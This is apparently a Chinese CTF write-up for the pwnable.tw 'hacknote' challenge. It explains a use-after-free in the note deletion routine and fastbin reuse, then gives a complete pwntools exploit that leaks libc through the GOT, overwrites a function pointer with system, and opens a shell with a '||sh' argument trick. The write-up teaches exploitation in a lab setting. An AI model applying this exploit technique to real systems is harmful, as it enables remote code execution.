登录后台

页面导航

本文编写于 431 天前,最后修改于 124 天前,其中某些信息可能已经过时。

hackone(UAF漏洞)

分析程序

----------------------
       HackNote       
----------------------
 1. Add note          
 2. Delete note       
 3. Print note        
 4. Exit              
----------------------

三项功能,经过测试,得出结构体

struct note{
    int *index[6];
    char *content;
    }*note;
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

开启了NX和carry保护

unsigned int sub_80487D4()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 >= dword_804A04C )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( ptr[v1] )
  {
    free(*((void **)ptr[v1] + 1));
    free(ptr[v1]);
    puts("Success");
  }
  return __readgsdword(0x14u) ^ v3;
}

很明显,在free之后指针没有清零,存在uaf漏洞

0x1 malloc内存对齐

在大多数情况下,编译器和C库透明地帮你处理对齐问题。POSIX 标明了通过malloc( ), calloc( ), 和 realloc( ) 返回的地址对于任何的C类型来说都是对齐的。这样可以避免内存中的碎片,提高程序效率。

对齐参数(MALLOC_ALIGNMENT) 大小的设定并需满足两个特性:
1)必须是2的幂
2)必须是void的整数倍,sizeof(void) is 4Bytes in x86 ,and 8Bytes in x64
粗粗看了下malloc的头文件定义,对齐参数MALLOC_ALIGNMENT应该为2sizeof(void),即32位下为8bytes,64位下为16bytes。
但是最小分配单位并不是对齐单位,同样参考glibc的malloc.h文件,最小分配单位MINSIZE:

0x2 泄露libc_base地址

可以看到之前介绍的malloc内存对齐机制的体现:
1.一开始malloc了8字节存放note结构体,实际上为了内存对齐分配了0x804b008——0x804b017的16字节内存空间;
2.用户设置的content大小为20字节,对齐后实际为0x804b018——0x804b02b的24字节内存空间

大体的利用思路为:
add_note首先malloc出8字节来存放note结构体,接着用户输入content的size:16,这样操作两次,分配的内存大小为16/24/16/24
接着使用delete_note来释放内存:
先后delete_note(0) delete_note(1),接着add_note,增加一个content size=8,内容为'aaaaaaaa'

free后并没有置空指针,这样就造成了uaf利用。free过后的空表:

——————————————
| content0         32bytes       第一个note的content       | head
——————————————                                                  |
| struct note0    16bytes        第一个note的结构体        |
——————————————                                                  |
|content1          32bytes       第二个note的content       |
——————————————                                                    |
|struct note1      16bytes       第二个note的结构体        |  tail
——————————————                                                 V    

增加note的过程中需要做两次malloc(8)的操作,经过内存对齐后即为分配两个大小为16字节的内存,这样根据malloc的优先分配机制,从空表尾部开始寻找大小为16字节的空间。

因此新建的note2的strcutnote将被分配到note1的结构体位置,note2的content将被分配到note0的结构体位置,note0八字节的结构体处分别存放了打印函数0x804862b和其参数地址,现在将被我们输入的content覆盖!

题目已经给出了libc文件,我们首先要做的就是泄露出libc加载到内存中的基址:

以read()为例,我们将指向content的指针覆盖为read在got表中的地址,这样调用print_note后就会打印出read的实际地址,利用:system_addr-libc_system=read_addr-libc_read

计算system_addr=read_addr-libc_read+libc_system

泄露libc加载基址的过程实际上就是改编程序执行流程的过程,既然我们已经得到了system的实际地址,只需要重复相同的步骤,只是将原本0x804862b覆盖为system的地址。

这里还有一个小坑,覆盖后system的参数实际上是从note0结构体开始的,也就是p32(system_addr)+'sh',这样是无法达到system('/bin/sh')的效果的,类这里需要用到system参数截断,当时用的是&&sh,类似的还有||sh,;sh;

from pwn import *

#p = process('./hacknote')
p = remote('chall.pwnable.tw' ,'10102')
elf = ELF('hacknote')
libc = ELF('libc_32.so.6')
#one_gadget = 0x3a819
context.log_level = 'debug'
def add(size,content):
    p.sendlineafter('choice :',str(1))
    p.sendlineafter('size :',str(size))
    p.sendlineafter('Content :',str(content))
def delete(index):
    p.sendlineafter('choice :',str(2))
    p.sendlineafter('Index :',str(index))
def show(index):
    p.sendlineafter('choice :',str(3))
    p.sendlineafter('Index :',str(index))
add(0x20,'a')    #0
add(0x20,'b')    #1
delete(0)
delete(1)
add(8,p32(0x804862b)+p32(0x804a00c))
show(0)
leak_read_addr=u32(p.recv(4))
system_addr=leak_read_addr-libc.symbols['read']+libc.symbols['system']
print system_addr
delete(2)
add(8,p32(system_addr)+'||sh')
show(0)
p.interactive()

总结

要根据add函数分析出大致结构体

struct note{
    int *index[6];
    char *content;
    }*note;

free函数可以看到指针没有清零,存在uaf漏洞

add一个chunk时:

pwndbg> heap
0x83e5000 FASTBIN {
  prev_size = 0, 
  size = 17, 
  fd = 0x804862b, 
  bk = 0x83e5018, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x19
}
0x83e5010 FASTBIN {
  prev_size = 0, 
  size = 25, 
  fd = 0xa61, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

add两个chunk时:

pwndbg> heap
0x9dc5000 FASTBIN {
  prev_size = 0, 
  size = 17, 
  fd = 0x804862b, 
  bk = 0x9dc5018, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x19
}
0x9dc5010 FASTBIN {
  prev_size = 0, 
  size = 25, 
  fd = 0xa61, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x9dc5028 FASTBIN {
  prev_size = 0, 
  size = 17, 
  fd = 0x804862b, 
  bk = 0x9dc5040, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x19
}
0x9dc5038 FASTBIN {
  prev_size = 0, 
  size = 25, 
  fd = 0xa61, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

再次add一个chunk时:

0x9865000 FASTBIN {
  prev_size = 0, 
  size = 17, 
  fd = 0x0, 
  bk = 0x9865018, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x19
}
0x9865010 FASTBIN {
  prev_size = 0, 
  size = 25, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x9865028 FASTBIN {
  prev_size = 0, 
  size = 17, 
  fd = 0x804862b, 
  bk = 0x9865040, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x19
}
0x9865038 FASTBIN {
  prev_size = 0, 
  size = 25, 
  fd = 0x9860a62, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

delete 0时:

0x10: 0x8c10000 ◂— 0x0
0x18: 0x8c10010 ◂— 0x0

delete 1时:

0x10: 0xa035028 —▸ 0xa035000 ◂— 0x0
0x18: 0xa035038 —▸ 0xa035010 ◂— 0x0

再次add一个chunk时:

0x10: 0x9f8d000 ◂— 0x0
0x18: 0x9f8d010 ◂— 0x0

总结:

1.fastbin被free后会放到bins里,多个fastbin会链到一起,chunk的重复利用遵循后释放先使用的原则

2.再次add的时候,调用puts函数,将read的地址当做参数传入puts函数,打印出read函数装载后的地址

3.根据偏移可以计算出libc地址,再算出system函数地址

4.最后再add(8,p32(system_addr)+'||sh'),这里需要system参数截断,当时用的是&&sh,类似的还有||sh,;sh;